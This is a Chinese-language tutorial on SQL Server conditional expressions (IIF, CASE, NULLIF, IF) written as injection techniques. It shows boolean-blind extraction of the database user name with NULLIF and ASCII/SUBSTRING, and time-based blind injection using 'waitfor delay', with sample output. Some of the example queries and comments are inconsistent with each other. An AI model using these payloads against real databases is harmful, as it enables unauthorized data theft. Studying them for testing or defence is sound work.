0x01 IIF 表达式
IIF 关键字是SQL Server 2012及上以版本才有的
解释: SELECT IIF(表达式, 表达式成立时返回, 表达式不成立时返回)
0x01.1 IIF表达式例子
SQL | 结果 |
---|---|
select IIF(1=1,1,0); | 1 |
select IIF(1=2,1,0); | 0 |
0x02 CASE表达式
解释1:
select case 表达式
when 判断条件 then 返回结果
else 条件不成立时返回 end
解释2:
case 后面紧跟要被作为判断的字段
when 后面跟判断条件
then 后面跟结果
else 相当于 default
end 是语句结束语
0x02.1 CASE表达式例子
SQL | 结果 |
---|---|
select case 1 when 1 then ‘成功’ when 2 then ‘失败’ else ‘其他’ end; |
成功 |
select case 2 when 1 then ‘成功’ when 2 then ‘失败’ else ‘其他’ end; |
失败 |
select case 3 when 1 then ‘成功’ when 2 then ‘失败’ else ‘其他’ end; |
其他 |
0x03 NULLIF(expr1, expr2)
NULLIF(expr1, expr2) 比较两个字符串,如果字符串 expr1 与 expr2 相等 返回 NULL,否则返回 expr1
user() 数据转ascii | ||
---|---|---|
SQL | SUBSTRING(user,1,1) 结果 | ascii(SUBSTRING(user,1,1)) 结果 |
select ascii(SUBSTRING(user,1,1)); | d | 100 |
select ascii(SUBSTRING(user,2,1)); | b | 98 |
基础表数据 | ||
---|---|---|
id | username | password |
1 | test-user-01 | 123456 |
2 | test-user-02 | 234567 |
# 表示注入失败的时候
# 匹配不相等的话返回的是 NULLIF 第一个参数的结果值
sql server> select * from users where id='1' and NULLIF(ascii(SUBSTRING(user,1,1)),99)>=1;
+----+-------+
| id | name |
+----+-------+
| 1 | bbb |
+----+-------+
1 row in set
# 表示注入成功的时候
# 匹配相等会返回 NULL 所以sql不会返回数据
sql server> select * from users where id='1' and NULLIF(ascii(SUBSTRING(user,1,1)),99)>=1;
Empty set
# 获取到的数据转成十进制
sql server> select concat(nchar('100'),nchar('98'));
+--------+
| field1 |
+--------+
| db |
+--------+
0x04 IF 表达式延时
经常用于 SQL Server 延时注入
# 测试数据
1> select * from article;
2> go
+----+-----------+-----------+
| id | title | content |
+----+-----------+-----------+
| 1 | 测试标题 | 测试内容 |
| 2 | 测试标题2 | 测试内容2 |
+----+-----------+-----------+
(2 rows affected)
# 条件成立时
# 当if 里面的判断 1=1 时 会执行后面的 waitfor delay '0:0:5' 数据库会延时5S
1> select * from article WHERE id=1 IF(1=1) waitfor delay '0:0:5';
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected) (5.15 sec)
# 条件不成立时
# 当 if 里面的判断 1!=2 时 不会执行后面的 waitfor delay '0:0:5' 所以数据库不会延时
1> select * from article WHERE id=1 IF(1=2) waitfor delay '0:0:5';
2> go
+----+----------+----------+
| id | title | content |
+----+----------+----------+
| 1 | 测试标题 | 测试内容 |
+----+----------+----------+
(1 rows affected) (0.05 sec)